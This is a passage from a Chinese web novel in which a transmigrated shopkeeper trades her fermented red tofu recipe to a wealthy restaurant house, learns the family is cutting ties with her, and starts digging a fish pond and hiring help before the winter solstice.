黃绣娘更是满意。 她是个顶聪慧的女子,曉得林真不愿在此时出风头,对外是一个字儿也不提,只说自个儿运道好,得了高人指点。 私下里,却给林真送了一整套的好衣裳来。 长袖的交领衫子、领边满绣的貉袖、八破裙和旋裙各一条,连配色的香罗带都送了两条来。这身衣裳,袢膊一系便是利利索索的林掌柜;若是挽高髻再搭条百迭裙儿,便是一身极为体面的会客衣裳。 足见黃绣娘的用心。 林真便歡欢喜喜的收下了,预备着往双線行去,将前些日子托双線行製的兔皮靴子给取回来,再给自家買一双翘头鞋来穿。 前些日子沈山平冷不丁给林屠戶和苗娘子各送了一双冬日穿的高帮靴子。 内里是毛茸茸的兔皮,外头是麂皮,说是自个儿挣钱了,自然要孝敬师傅师娘一双好鞋来过冬。 林真一瞧:好一双真皮ugg! 再看沈山平:好一个浓眉大眼,却将人架在火上烤的沈山平! 若不是她前些日子给家里扯料子製新衣,買铜镜妆奁的时候还不忘给林屠戶打壶好酒来,这一朝,还真是要被沈山平比下去了! “喏,真姐儿,别说我没想着你和大景,还有燕儿。这些兔皮我都攒好了,只家里的麂皮不夠了,你拿着兔皮去县里找家能製靴的皮匠,用他们那头的皮子製三双靴子来,咱冬日里出门才不会凍脚哩!” 沈山平又拿出积攒的兔皮来,老大一堆了。 这些兔皮显然不止是铺子里这些日子賣兔子攒下来的,他自个儿定是添了好些。 沈山平还在絮叨:“你可得与皮匠说清楚,鞋子放量要足,这皮子我都是有數的,制三双靴子是怎么都夠的,可不能教他唬了去。” 林真为前一刻的自个儿道歉,接下沈山平送的皮子后,找了县里的双线行给制靴子。 双线行可不是賣丝线的,是专制鞋靴的。 因着制作鞋底的时候,会用双针双线对纳,确保鞋底厚实耐用,故而唤此名。鞋、靴、木屐、凫舄……甚都有,现特流行的‘错到底’也有,那手艺自然不一般。 皮子难攒,自然要找手艺扎实的匠人来制。 而收到礼物的苗娘子也很是高兴,夜里挑灯,赶着为家里人和沈山平都缝制一双五指手衣。 “里头都是好棉,有了这手衣,冬日里赶车能少受些罪。特别是真姐儿,我听你爹说,你冬日要起凍疮的,铺子里又离不得你,你可得将自个儿护好些。” 靴子、手套都有了,自然得将帽子安排上。 林真便去寻黄绣娘:“冬日的风帽,两边加长,能护住耳朵。” “不就是耳不闻帽子麽?我省得了,要七顶是吧?我赶赶工,定在立冬前给你。”黄绣娘又道,“真姐儿真是好见识,这耳不闻帽子还是我年轻时在府城瞧见的,武将的装束哩!” 她转而又皱眉:“我瞧他们戴着倒不算好看,我且试着改一改,缝得好看些,你戴着也精神些。” 黄绣娘,一个绝对的颜控。 林真倒是没那么计较,帽子麽,能抵挡冬日风雪护着脸和耳朵尖儿就够了。 耳朵尖尖生冻疮的滋味,那叫一个磨人,谁生谁知道! 她得了准话,倒是不管黄大师怎么改,只要能在落雪前拿到一家子和沈山平父子俩的帽子便够了。 过冬的装备安排好,铺子里也安生,林真这才有空翻开账本子细看。 天气转凉,她的豆干便不大好卖了。 也是,天儿热的时候,自然是能冷吃的豆干好卖;可天儿凉了,便是热乎乎冒白气儿的炖菜受欢迎。 铺子里跟着上了便宜的老豆腐,林茂安和马娘子那头也跟着售卖鲜豆腐,可老豆腐这东西没甚核心竞争力。 林真这头的豆腐又是挑过豆皮儿的,与豆腐坊内的豆腐相比,确实是争不过。 她便想制些其它东西来卖,例如:紅腐乳,这时候也唤作紅方。 可她这回的新品,还没开始,在准备材料这第一步上,就倒下了。 她買不着紅曲。 可腐乳这玩意儿,不加紅曲,别说着色了,二次发酵带来的风味它得少一半儿。 没有红曲,她还真制不了这红方。 别教她制青方、白方啊,这时候的慈溪县且还没有吃腐乳的习惯。 若是不将腐乳弄得好看些,人不一定会买账。 且就林真自己来说,她更喜欢吃红方;青方、白方的发酵味儿更重些,教人接受,难度要大些。 如此,她只能去寻林掌柜。 禁私酒,在此的大虞朝绝不是一句空喊的口号。 朝廷为此设立都曲院,专门负责造曲、卖曲,顺便收取酒户课税。以官方身份垄断造曲,达到控制大虞朝酒业的目的。 官曲民酿的榷酒制度环环相扣:第一,获得购买酒曲的资格,成为官方登记承认的酒户;第二,拿着认证资格去指定的地方购买酒曲,不能跨区域购买;最后,才是酿酒售卖。 如此种种,最后一步酿酒都算是最简单的了。 大虞朝的榷酒制度很是完善,还有专门的监察部门不定时巡查,更有严厉的惩罚制度为之震慑,目的只有一个:确保朝廷牢牢霸占着这一暴利行业。 像林真这样没有资格的小民,别说买曲了,无故靠近都曲院都可能被就地拿下。 老实说,她此次寻林掌柜着实有些忐忑,也不曉得能不能成。 可铺子里确实要创收,她买下的那五亩荒地,且还等着银钱动工呢! 光靠家里人得弄到啥时候去?他们还得守铺子、制腐竹制蒟蒻豆腐,还有家里大大小小的琐事儿,便是将每个人劈成两半儿来也是不够用的。 还是得拿钱出来,请人! == “小友稍坐,咱今儿好好说说话,便是你不来寻我,老朽都要去寻小友咯。”林掌柜笑呵呵。 “嗯?林掌柜寻我有事儿?您不妨先说。”林真很是客气。 “哈哈,些许小事儿,还是小友先说罷。小友可是无事不登三宝殿的。”林掌柜打趣一句。 林真着实有分寸,即便晓得葛粉帮了大忙,也从不邀功。小事儿从来只寻林福,此次直接找自个儿,定然是大事。 “我想制一样新鲜吃食,可苦于没有红曲,只能来寻林掌柜问问,您手中的红曲可能匀些出来给我?”林真斟酌道,又忙补充,“此事若是教林掌柜有一丝为难便作罷,我也晓得红曲管控严厉,只是……” 林真突然有些后悔了,要不还是回去琢磨白方罢? “这,可能问问小友,用量几许?”林掌柜倒是没一口回绝,红曲在外人瞧来自然是碰不得说不得之物,可对他来说,还真不算甚。 有戏!林真眼睛一亮:“不多,一瓮红方也只用一小勺红曲罢了,若是林掌柜能匀出来,还请再给我沽一壶烈些的清酒,那也是制红方必不可少的。” “红方?”林掌柜捋捋胡须赞道,“倒是个雅致名儿。” 可他随即话风一转,道:“若是少许红曲,老朽私下匀给小友也不算甚。可若是此物还需用到烈酒,老朽倒是要劝劝小友,莫要动手了。” 林掌柜沉吟一会儿道:“京都去岁报上去的酒税课额,比之上一年,足足少了这个数……” 他伸出一只手来,五指大大张开。 “近年风调雨顺,各地不曾有大灾,粮食大增,都曲院卖出去的红曲也增加了不少,可酒税课额不增反减……” 林掌柜伸开的五指瞬间合拢,握成拳来。 “各地巡检官皮子都绷紧了,恨不得立时便能捉拿些私造酒曲,贩卖私酒的罪人来。” 他摇摇头:“小友此时,可不能动手。” 林真一惊,风险太大,这腐乳生意还是别做了,换个其他法子罢。 她刚想开口,便听林掌柜又道:“小友若是信得过老朽,将制红方的法子告知林东家,由丰乐楼来制红方。省去麻烦事儿不说,小友也不肖操心,而我和东家自然不会教小友吃亏的。”—— 作者有话说:手套、帽子都是早早就有的 腐乳是在明朝大规模推广开来的 有些地方做腐乳好像不用红曲 此处用来给女主开开金手指 不要纠结哦[红心][黄心][绿心][橙心] 第58章 林真从丰乐楼出来的时候有些懵。 她这会儿子, 怀里揣着二百四十四贯钱,有交子、有银锭还有铜子儿。 这些银钱是西市那家鋪子未来三年的赁钱。 “还是先前那家南北货在赁,那掌櫃人不错, 老朽便做主将鋪子又赁了三年,还望小友莫怪。待过些日子,再教林福牵线,引那掌櫃与您相见, 教他曉得这鋪子已然换了主家。” 怀里另一样东西, 是原先茶掌櫃那间鋪子的地契。 “小友先前的麻烦东家也略知一二, 做生意自来是和气生财,隔壁掌櫃难缠確实是件烦心事儿。东家此番令老朽出手買下那间铺子,老朽便做主用这铺子换您那红方的方子。只是老朽先前的话还请小友多上心,先置地再置业, 这地契老朽已经办好,已落在您名下, 可还请您且等上一等再动它。天下没有不透风的墙, 如此, 也能少招一些猜忌来。” 林掌柜又是一番劝。 林真震惊了,她喃喃道:“怎又有一间铺子了?我在家里買了五亩地来, 此番只想着多赚些银钱来, 挖魚塘放魚苗栽果子樹, 怎凭白又多了间铺子来?不成, 我不能要……” “小友莫要推辞,这间铺面着实不算甚, 虽带着院子地方宽敞些,可长兴坊内的铺子再如何也就那个價,再者, 先前的掌柜是那副模样,都使着由头来压價。我给了个公道价,也不过二百来贯钱,小友用心经营着手头的铺子,怕是一年两年的就能攒下钱来買铺子,老朽做个顺水人情罷了。” 林掌柜好一番劝,林真咂摸出些味儿出来,便也笑着应下。 又将红方的法子如数说了,用水份少的老豆腐、切块儿的刀子不能沾油星儿、豆腐块儿要一般大小这些细节之处都说了,这才揣着银钱和地契回了自个儿家。 “怎的了?可是事情不顺利?”賀景见林真回来,面上却有些暗藏的烦闷,不由问道。 林真笑了笑,这人,还真是心细如发:“没甚,算是好事儿,家去说罷。” == “咱们与林掌柜那头的关系,怕是要淡了。”林真家来,第一句话便是这个。 買铺子不是一招一夕之事,可她手头这张地契,確是林掌柜一早便准備好的。 原先葛粉的事儿已算了结,林东家便是从里头获了再大的利润,那也是人自个儿的本事,为何要再准備一间铺子来送她? 且今日她还没说那红方是何物,又是甚吃法,林掌柜便一口定下了。 他是积年的老掌柜了,在商言商,甭管倆人私交再好,可涉及银钱买賣,便不能如此行事。 更何况,林掌柜并不能全然做主,他背后还有一位神秘东家呢。 种种迹象皆表明:林家,要与她彻底斷了往来。 今日林掌柜之言,早有暗示。 “这样也好,咱铺子里头的生意稳住了,往后不往丰乐楼供腐竹,家里也不会有恁多豆腐,四处销一销,应当能賣完。” 说起来,老逮着林掌柜这头羊薅,也不是个事儿。 “嗯?竟是连腐竹生意都不做了?”賀景有些诧异。 林真点头,态度很是坚定:“是,要斷,咱便断得干淨些!” “如何?可了断干淨了?”林怀筠端着一盏子牛乳,却有些咽不下去,她近来孕反严重,吃不得也喝不得,可为着腹中胎儿,也只能强撑着。 “是,林娘子通透,此番能领会老朽的意思。”林掌柜皱眉,挣扎一番还是问道,“东家,林娘子行事颇有分寸,咱真要如此?” 林怀筠放下手中的青瓷盏,不緊不慢道:“林叔也糊涂了不成?葛粉这样要緊,一奉上去便入了上师的眼,暗中有多少双眼睛盯着?若是不断干净些,教人摸出源头来,旁人,怕是没有我这么好说话。威逼利诱,可是威逼在前,那些人行事更无顾忌,可不会好声好气拿铺子来换!稚子抱金便是祸,此举,是在保全她!” “是,老奴省得了。”林掌柜躬下身子,低低应道。 == “这样也好,虽说交友不问出身,咱们两家都姓林,可这门戶确实天差地别,费心维护着这些个关系也是难事,往后便不肖如此了。” 说句难听的,慈溪林家,百年望族,指头缝里漏出来的这些,已是教枣儿村的林真少奋斗了好些年。 他们这般小农之家,确实是比不得如此巨富。 “汰!我说先前那許经纪探头探脑来作甚!原是来打探重阳节林掌柜有没有给咱家赠糕!”林真一下子反应过来,语气很有些不好,“怪不得后头那样吓唬咱呢!原是早早教人轻看了去!” 九九重阳,登高望远吃糕,交好的人家,在这一日会相互赠糕,互道一声:百事俱高! 农戶人家没此讲究,可那日,她确实见着了街面上捧着花糕跑腿的闲汉,那花糕甚是讲究,还要插彩色小旗。 “哼!好个拜高踩低的小人!”林真气闷。 这許经纪也忒不厚道了,她待他够客气了,自问没有怠慢,便只是寻常客人也不敢这样诓骗人家。更别说,这许经纪还是自个儿一头凑上来的了! 如此种种,实在是小人行径。 林真尤自气愤着,口中冷不防教人塞了甚。 她下意识一咬,脸皱作一团:“怎这样酸!” “你花五个钱买的三只好蜜橘。”賀景笑道,“可甜?” 前些日子落雨,门前来了个賣橘子的老叟,林真瞧见了,便用这个价将那老叟剩下的一兜子橘子都买来。 落雨的橘子买不得,况且他瞧那老叟专找年轻娘子媳妇卖橘子,瞧着便不大对劲儿。 有心想劝林真少买些,可想一想,还是算了。 或许真姐儿自己都没有意识到,她心底藏着的那份惜贫怜弱之心,这很好,当年自个儿不是也扮可怜了? 几只橘子罢了,能废几个钱? 买来之后果真酸溜溜,林真只吃了一瓣,便使了坏心思,将酸橘子四处分送一番。 她倒是不曉得家里还剩下了这些酸橘子。 “别说了,当时瞧着落雨,那老汉有些可怜。再来,我是想向他打听打听何处有橘子樹卖,咱买些来,种在魚塘边儿上,也算多个进项。”林真哼哼唧唧,“哪晓得,那老汉滑手得很,卖我酸橘子不说,也不肯透露半句橘子树的事儿,倒是白费我一番打算。” 说着说着,她笑了,很有些豪气:“也是,人生不如意事十之八九,哪能样样都如我心意?” 又拍了拍装着地契的钱匣子:“得了好些实惠了,若是还想着要人平等以待,那属实是有些心有不足了。我与林掌柜之间,本就是因利而起,没甚好可惜的!” 贺景拉了林真的手,双眼定定地瞧着她:“你已比这世间的大多数人都有本事儿了,不到一年的时间,咱已攒下这些家业来,实在该高兴。真姐儿,养家的担子你不能一人全担着,你绷得太紧了些,也是时候松松弦儿了。” 鼻子酸酸的,林真忍住了:“这可是你说的,我可要翘着脚作耍了!” 想明白了,林真动作便很快。 没两日,她便寻了由头断了丰乐楼那处的腐竹供应。 林福似乎早有预感,一点儿不惊讶,客客气气地又从林真那头采买了一批备用,可却不曾出言挽留。 临别时,他照常将林真送出门,这时候才低声道。 “林娘子,您是有本事儿的人,日子不会过差了。多置田,再教儿孙读书上进,还怕没有改换门庭的那日嘛?” 再一抬头,林福还是弓着腰挂着笑的模样,耳边响起的话语似乎是她的错觉。 林真笑了笑:“福小哥多保重,您也是。” 家里不必供应丰乐楼的腐竹,虽说少了一笔进项,可身上的担子确实轻了不少。 兼之铺子逐渐积累了一批熟客,沈山平和家里人又逐渐能独当一面,林真一下子少了好些事儿,还有时间闲逛。 这一逛,还真发现不少事儿来。 先是后院儿。 里头三头牲口和一窝子的兔儿野鸡,虽说它们的口粮是有村人每日打草送来,还有家里剩下的豆渣、麦麸,在吃这一头上,不肖家里人多费心。 可它们吃得多拉得也多,隔了个拐角也不顶事儿,家里人爱洁,能不教这头的气味儿打扰,全是苗娘子和贺景勤快。 可他们倆人身上的担子并不轻松,若是还忙这些,着实辛苦。 再有,手中银钱不缺,买下的荒地预备着要开始动工了,家里又添一桩事儿。贺景日后定然是要管着魚塘那头的,后院这些个牲口,便得雇个人来管着。 林真略想一想,去找家里雇来帮着滤豆浆的有田叔。 “叔,先前我爹寻我,说是您家的大海哥每日都来帮着将这些牲口的粪便给运出去?” 林有田结结巴巴道:“是,是,真姐儿,你放心,这些粪水我家大郎都挖了坑预备着沤肥。俺们不敢占你家的,只望着春来肥田的时候,能教俺家挑几担子,你放心,俺家田地少,这粪肥还要兑水,要不了许多的!” 他急得很,脑门上居然沁出一层汗来。 林真嗓子有点儿发干,好一会儿才道:“不是,大海哥每日来帮我家做事,我心头难安。您也瞧见了,我家事多,我是想请大海哥来帮着我家养后院儿那些牲口。” 林真依稀记得,他爹说过,这林大海是个老实寡言的性子,做事却很是细致周到。 养牲口嘛,要的就是这样不怕脏累,细致周到的人。 “啊,大郎,大郎没养过牲口哩。”林有田家里穷,猪仔养不起,只能养些鸡雏,他干巴巴道,“这若是,若是……” 他心里是想接下这份活计的,可却又十分害怕。 若是有个万一,将牲口养死了,教他家赔可生是好?他听说,有些佃农给地主家养牲口,牲口有个啥都要算在佃农头上的。 唉,牲口比人贵,这也没法子。还是算了罢,能从林屠戶家弄得几担子不要钱的粪肥,他已是走运了。 “若是牲口出问题,自然是咱一同想法子。人有生病的时候,这牲口自然也有不爽利的时候。”林真先定了定林有田的心,又道,“只要大海哥认真做事,我瞧在眼里,自然不会苛责了他。您好好想想,若是成,便唤他来,往后这牲口一事便是你们父子俩负责,我一样给算工钱。” 林真有心将林有田从豆腐这头支走,她瞧见苗娘子倒是处处避着他。 也是,现家里人都要出去,她爹还要忙着收猪杀猪,家里多个陌生男子,总是不自在。 她预备着去雇个力气大的妇人来,长雇,吃住都在家里,不仅在滤豆浆上能帮忙,平日里扫撒浆洗也能搭把手。 晚间一家子都在的时候,林真便说起她的打算来。 “后院那头,请匠人来开一道门,日后牲口的腌臜物都从那头走,家里更干净。往后打草和送薪柴的村人也走那头,咱将门户看紧些,不是防着族人,现都晓得咱家赚钱,家里男丁少,得防着那起子歹人。” 是这个理儿,众人都点头应下。 林屠户还道:“我瞧着大山家里养了三条好狗,要不,咱去说一声,若是有狗崽子了,给咱家留一条?” 林真眼睛一亮:“成!爹想得周到。” 她缓了缓又道:“另外,您还得去族里走一趟,咱家那五亩荒地该动工了,多请些好手来,尽早挖好,冬日落雪还可存下些水来,来年开春,咱放鱼苗养鱼!有了水塘子,再抱些麻鸭大鹅家来,吃浮萍害虫不说,养大了还能往铺子上送!再有,水塘得防着有人失足落水,原先我想着在那头种果子树,现在想来倒是不妥。” 有鱼有果子,不是专门招贼惦记麽。 “咱去挖些老虎刺来,密密地围上,防人不说,果子还能卖去熟药局去。” 老虎刺,又名鸟不宿,带刺微毒,学名唤枸骨,常绿乔木,叶片青绿冬日也不落,果实是红色小果子,倒是有些好意头,前世常用于园林绿化。 “啊?老虎刺那果子能吃?不是有毒麽?吃了上吐下泻的。”林屠户惊讶。 “有毒更好,更不会有人打它的主意。这些都是小节,到时候去熟药局问问就晓得了,咱眼中有毒的东西,到了大夫手里,说不得就是治病救人的好东西。” 林真得意,橘子树不行她就种枸骨。 鱼塘:养鱼养鸭养大鹅;铺子里:鸡鸭鹅兔还有鱼儿,禽、兽、渔都有了,她那铺子里东西齐全。用心经营着,便是不搞那些个超出这个时代的东西来,她也能将日子经营得有声有色。 林真这几日思来想去,问题怕是出在那净如霜雪的葛粉上头。 她从前在互联网上混饭吃,各类论坛没少混,毕竟互联网一天八百倍速,多多少少要晓得一些热梗。 她有回看见一个高赞回答:如果真的穿越了,太过招摇,发明出太多超过当前时代的东西来,等着穿越者的大概率不是发家致富位极人臣,极大的概率,是要被圈禁或者干脆嘎了。 历史早有警告,别说穿越了,大多划时代的发明,那个第一人,往往没甚好下场。 就拿大名鼎鼎的活字印刷术来说罢。 发明它的毕昇,本人及后代因活字印刷术的问世,身陷囹圄,下场可算不得好。 只在史书上留下寥寥几句:其法未及推行即卒,事迹仅见于沈括《梦溪笔谈》。[1] 活字印刷术,是由沈括记录,姚枢推广,才得以传世。 姚枢与毕昇之间,相隔百年,他们是两个时代的人,且姚枢身处乱世,出身官宦,本人政治能力极为出众,曾官至太师,是元朝开国名臣。 林真不过是一普通人,只是幸运些,得了时间的眷顾,比此间的寻常人多出些见识来。 她是万万不敢自视甚高的。 往后可得再小心些了,她对自己说。 “真姐儿,发甚呆?可是累了?累了就歇着去,明儿爹就去寻族长,咱家这回雇得人多些,先去与族长知会一声才好。”林屠户道。 “是啊,歇着去罢。真姐儿,我瞧着你这几日气色可不算好,家里现日子好过,你可别将自个儿累病了。”苗娘子也道。 燕儿没说话,只拉了拉她的手。 林真就着烛光缓缓看一圈儿,家人眼中的怜惜做不得假。她倏尔一笑,父母慈爱,姐妹和睦…… 眼儿扫过贺景愈发俊朗的面庞,还得一良人。 她此生,已算是上上签!—— 作者有话说:这章够肥 得意叉腰[红心][橙心][绿心][黄心][青心] 第59章 林家的五畝荒地终于动工了。 这次动工, 阵仗极大,单单是清淤的壮劳力,便足足請了五十个好手来。 “这五十人, 十日一歇,至少得两月有余,才能将这口堰塘挖好。”一佝偻老者缓缓道,他整个人缩成一团, 似乎极为怕冷。 “甚?两个多月?”林真惊呼出声, 她眼神有些怀疑, “卢老,您没算錯罷?” 不是,她家买下的荒地是有五畝,可要留下种树的塘基及住人的地头来, 最多,只有四亩三分田能挖作魚塘。 就这, 五十个大汉, 还要干两个多月? 这小老头不会在诓我罷?林真有些怀疑, 她暗中戳了戳贺景,压低声儿道:“你没找錯人罢?” 这人是贺景找来的, 他在县城南面的碼头上, 苦寻了十来日, 才从墙根儿下的乞丐堆里将人挖出来。 这是他以前的‘工友’。 先前贺景得许官媒介绍, 去了城南的碼头上做事。他在那里结识了卢老,他挖魚塘养魚种树的念头, 就是从卢老这头来的。 不然,他一个地都被人强占了去的穷小子,如何会生出这样的念头来。 这小老头干巴巴的, 城南碼头是卖苦力的地儿,雇主自然不是寻他卖劳力。 可他有一样傍身的本事儿,便是观魚。 能识得市面上的各类鱼,只是他最寻常的本事。 他的看家本領,是能一眼断定这鱼是甚时候打捞离水的,又是甚时候会翻肚皮儿。 慈溪县内的鱼获大都集中在城南码头上,来此采买的大小掌柜们,若是拿不準鱼获是否新鲜,便会来寻卢老头帮着掌掌眼。 卢老头凭此本事,混迹城南,他那时候的日子,可比贺景这只能卖苦力的穷小子好过得多。 可壞就壞在他这本事上,大抵有些本事傍身的人便自傲些,他从前那张嘴,很是不饶人。 说人家鱼不新鲜便罢了,往往还会挖苦一两句:甚死鱼烂虾都想拿来骗錢? 一来二去,可不就得罪了好些以鱼获为生的鱼贩。 在他又一次坏了人家一桩生意还洋洋自得时,他被人套了麻袋,打了个半死,扔在暗巷里头。 码头上的鱼贩子们又联合起来抵制他,直言:若是谁还要教这嘴毒不饶人的老头子来观鱼,便再不卖鱼给对方。 他被人套麻袋那天,恰好遇见贺景。 卢老头躺在地上哀哀叫唤,央求着过往路人送他去医馆。他躺了好半天,身子凉,心也凉,就怕无人搭救,他今天得交代在这儿。 心里赌咒发誓求神求佛,快要绝望时,听得有人道:“我没錢,只能将你放在医馆门口。” 卢老头像是抓住救命稻草一样,他也不敢说自个儿身上有錢,只一把抓住贺景的裤腿,一叠声儿喊着恩人。 后来卢老头还在城南混,贺景也在码头卖力气,一来二去,倆人便也能在贺景啃个饼子歇口气的时候说上几句话。 大多时候是卢老头在说:“一亩塘,十亩糧!这些人都见识少,不請老头我观鱼罢了,竟也没人来請我去养鱼,哼!难怪发不了财,还在这码头上与人计较几个贩鱼錢。” 他抱怨一会儿又叹气:“唉!也是,光是挖堰塘买鱼苗都要好大一笔钱了,也不是寻常小戶之家能负担得起的。” 他又轉向不说话的贺景:“小子,老头白说了恁久,你也不吱个声儿。鱼塘你晓得罢?一亩鱼塘,养上三百来尾鱼,来年一尾鱼能长到小二斤,你想想,恁多鱼啊!能卖多少钱?贱卖都可得一万八千钱!” “你没算养死的。” “嚇!唬我一跳!”正吹牛的卢老头教冷不丁出声儿的贺景吓一跳,听见他的话后很是不高兴,“哼!养死是那些半吊子的小子们!若是换作小老儿去养……” 卢老头的牛皮在贺景怀疑的眼神中稍稍减了一些些。 “我去养,三百尾鱼,至少能得二百六十尾!你想想,那是多少个铜子儿?小山一样!” …… “三百得二百六,那至少得是十中存八,您,确定?” 卢老头听了这话,本就瘦小的身子更是缩成一团,他张了口,半天说不出一句完整的话来:“这,这……” 小老头是怎么也没想到,昔年在墙根儿下吹的牛皮,今朝会被一戳就破。 他瞅了瞅贺景,这小子…… “我晓得这是天时地利人和还要有大运气才能得的数,范公的《养鱼经》不可尽信。”[1] 林真忍住笑,先给小老头一个台阶后才继续问他:“您老说个準数,也好教我心里有个底儿不是?不然,好大一笔钱扔这塘子里,我心慌。” 过了这个村可就没这个店了,卢老头心一横,下军令状般道。 “东家放心,十中取八是老头子吹牛,可十中存六,不,存七!老头子一定能做成!” 70%的存活率,算是很不错了,林真满意点头。 如此,她记账时瞧着哗啦哗啦往外流的银钱,才不会慌。 挖鱼塘养鱼投入肯定大,林真心里有准备,可真等要动工了,这账粗粗算来,这笔钱居然比她想的,还要多。 光是請来的五十个壮劳力,他们的工钱一日就近五贯!后头还要买黏土石材生石灰鱼苗…… 这一算,她能不慌麽? 这时节,普通壮劳力农閑时一日工钱三十文,可那是普通卖力气的活儿。 这活计若是换成挖淤泥,那得往上番三四倍,请来帮工的多是族人和村人,一人一百个钱的价,已是瞧在林家一日包两顿饭食才要的公道价。 林真在淤泥地里轉了一圈儿,到也觉着这笔钱着实不算多,她也隐约明白:朝廷开运河清河道,为何要用征徭役的方式了。 这活儿,实在是辛苦又折磨人。 淤泥重且不好运,低头忙碌的村人,个个儿都是灰头土脸的。且下地挖泥的村人实在受罪,人泡在淤泥地里,还是冬日,那是真要命。 用村人的话来说,服役最怕清河道,他们是宁愿去修城墙,也比一整日泡在河道清淤来得好。 林真听得不是滋味儿。 去寻有文叔:“叔,挖地、担土和平整塘基的活儿,每半日一轮换,特别是挖淤泥的叔伯们,可千万当心,还请您费心多看顾着些,天气轉凉,人在泥地里泡一整日,怕是会出事儿!” 林有文是林真特意请来的项目经理。 她家这回的阵仗大,可不是修整屋子那样的小打小闹。 算上请来帮着烧饭的婶子和卢老头,整整有五十三人需要调度,这活儿,林屠戶一听就摆手,林真自个儿上也不大合适。 家里一合计,便特意去请了林有文来帮忙,再教贺景和林屠戶在一旁帮着,林真也时不时往那头转转,好教荒地上不至于找不着主家人。 林家人俱是铺子鱼塘两头跑,这时候,林真无比庆幸,在动工之前,将家里的事儿先理顺了,又请了吳麽麽来帮着料理家事,不然,一准儿要抓瞎。 家里的牲口兔子教林有田父子包了,再有沈猎戶帮着看顾一二,林真很放心。 新来的长佣吳麽麽,是林真请教了黄繡娘,去牙行托了钱牙人帮着寻来的。 黄繡娘身边儿跟着一位多伶俐的小娘子,待人接客大方周到不说,一双手多灵巧,拿笔能算账,捏针能绣花。 林真看得眼热,捡了小食蜜饯果子,上门去请教黄绣娘。 “你往城西的义盛牙行寻钱牙婆去,她那处料理得清爽,便是城里的大户也常去。”黄绣娘还撇嘴,“待人多客气,可不似官牙那头,瞧不上我这等小门小户的生意。” 琼衣坊近来生意好,她实在脱不开身,便道:“你寻钱牙婆准没错,她虽要价高些,可人仔细,丫头婆子的来历俱是清白,且还帮着立契,不肖你多费心。” 钱牙婆果真没辜负黄绣娘的盛赞。 人麻利得很,细细问明白了林真家里头的有甚活计后,不过两日,便给林真寻来了吳麽麽。 且人还不着急结钱立契,反而主动道:“林娘子,这人与人之间也讲究缘法,我虽觉着吴婶子好,可她不一定合您心意。咱先不急着定契,您先将人領回去,七日后,若是觉着合心意,咱再定契。” 林真没想到这时候也有试工,她喜滋滋拿出两百个钱来,领了吴麽麽家去。 这两百个钱是压在钱牙人这处的,是试工期的工钱。 这吴麽麽也确实通透,滤豆浆打理家中琐事儿她很勤快,眼里有活儿手也勤;可点豆腐挑豆皮儿的时候人却不往前头凑。 林真很是满意。 苗娘子也欢喜,吴麽麽来,她轻省太多了,且倆人凑一处做活儿还能聊些閑话,可比先前好太多了。 她欢喜得很,收到林真送的耳不闻帽子更是欣喜。虽整日忙碌着,可人却是精神许多,面上常是喜意。 日子一天天过,风愈冷,白昼愈短,寒夜渐长。 一恍眼,居然快要冬至了。 农家自古有冬节大过年的说法。 冬至这天,阴气由盛转衰,阳气虽弱但却转盈,这是农时的起点。 这一日,是要敬天祭祖的。 林家的鱼塘还没挖好,不过早在冬至的前两日便放假,林真还特意教林屠户留下半扇猪来,分给了来林家做活的人。 羊肉送不起,猪肉豆腐她家还是能送一方的。 这些日子村人干活儿实在卖力气,林真早有心给人添补一二。 可工钱不能涨,饭食日日有荤腥,隔个三五日,更是有大荤。 这可不能再添了。 不然,定会凭白惹些闲话来,毕竟,这十里八乡的,雇人做工的可不止林屠户一家。 借着冬节,给人送些猪肉不算扎眼。 林真又从米行里拉了两车陈米来,直接送到了祠堂,这是她捐给族里的。 林家的族风其实不错,年年冬节祭祖时,族里会给族中孤寡老弱送些过冬糧。 今年多了卖树的进项,又多了一户捐粮的人,族里不单发了过冬粮,还给发了半斤棉。 可别小瞧这半斤棉,在里头多加些芦花,便能件制长袄。 混了棉的袄子比芦花袄可暖和太多了。 常年教愁绪压满脸的族人,这时候终于露出些笑意来,又能熬过一个冬日了。 林真打眼一看,来领过冬粮的人家,都带着家里的妇人或小儿。 她心里倒是对林氏定下这条族规的先祖更添钦佩。 这头的冬节是吃大餛饨。 甚馅的都有,清贫些的是炒鸡子,日子好过些的加猪肉,再富些的,人吃羊肉馅儿的。 简直是异端! 林真一口一个大餛饨,吃得鼻尖沁出些汗来,再喝一口烫呼呼的大骨汤,舒坦! 大馄饨是吴麽麽和苗娘子包的。 白面为皮,中裹肉馅儿,说是祖祖辈辈都这么吃的。哦,林屠户还特意去买了清酒来,这也是传统。 大馄饨很好吃,可林真还是暗中诽谤。 明明要喝羊汤才是! 林真对羊汤的执念很深,趁着铺子里稍稍清闲几分,她不是坐下来歇一歇,而是赶紧唤帮闲来,去帮她割上十斤好羊肉来。 大伯家送二斤,族长家送二斤,留下六斤来,喊了沈山平父子来家里吃羊肉锅子! 唉,可惜了她的红方,若是添半方腐乳打个蘸碟,那才是美呢。 正想着,王柘手里提溜着一只瓮,昂着头,一脚踏进铺儿里来,神气道:“林吃家,我可不白拿你的好葛粉。” 他将小瓷瓮往柜台上一放:“瞧瞧,我给你带稀罕东西来了。”—— 作者有话说:1 范蠡所著的《养鱼经》,第一回 看见的时候,真的惊呆我了 知道那时候的计量单位和今天的差得挺大 也还是震惊了,贴出来给宝子们瞅瞅 “以六亩地为池……至来年二月,得鲤鱼长一尺者一万五千枚,三尺者四万五千枚,二尺者万枚。枚直五十,得钱一百二十五万。至明年得长一尺者十万枚,长二尺者五万枚,长三尺者五万枚,长四尺者四万枚。留长二尺者二千枚作种,所余皆取钱,五百二十五万钱。候至明年,不可胜秆也。” 第60章 “色如脂, 凝若玉,内有曲香,开甕自溢;入口酥融, 咸甘相济,实乃佐粥解腻之佳品。” 林真看着献宝的王柘,神色复杂,这些个溢美之词用在红腐乳上, 让她有种格外混乱不真实的感觉。 “王柘, 说真的, 你有没有想过,真当吃家啊?你听听,你现在说的这几句不就很不错麽。” 王柘怔了一瞬,随即摇摇脑袋:“甚乱七八糟的说啥呢?你瞧瞧, 红方!林家新出来的好東西,只在丰乐楼有售, 还每日限量, 我这一小甕, 还是唤人日夜排队抢来的!” …… 王柘还在嘚啵嘚啵。 林真不由神游,挺好, 至少这名儿还保留下来了。等这一波饥饿营销过去后, 她至少能买着腐乳打蘸碟儿。 “多少?你刚说这一小甕红方多少钱?!” “嚇, 恁大声作甚?唬我一跳, 一瓮六百钱啊,里头有十来方呢, 算不得貴。”王柘滿不在乎,还想拉着林真继续说他为着抢夺红方使出的好计谋。 林真面无表情地看着他:万恶的有钱人! 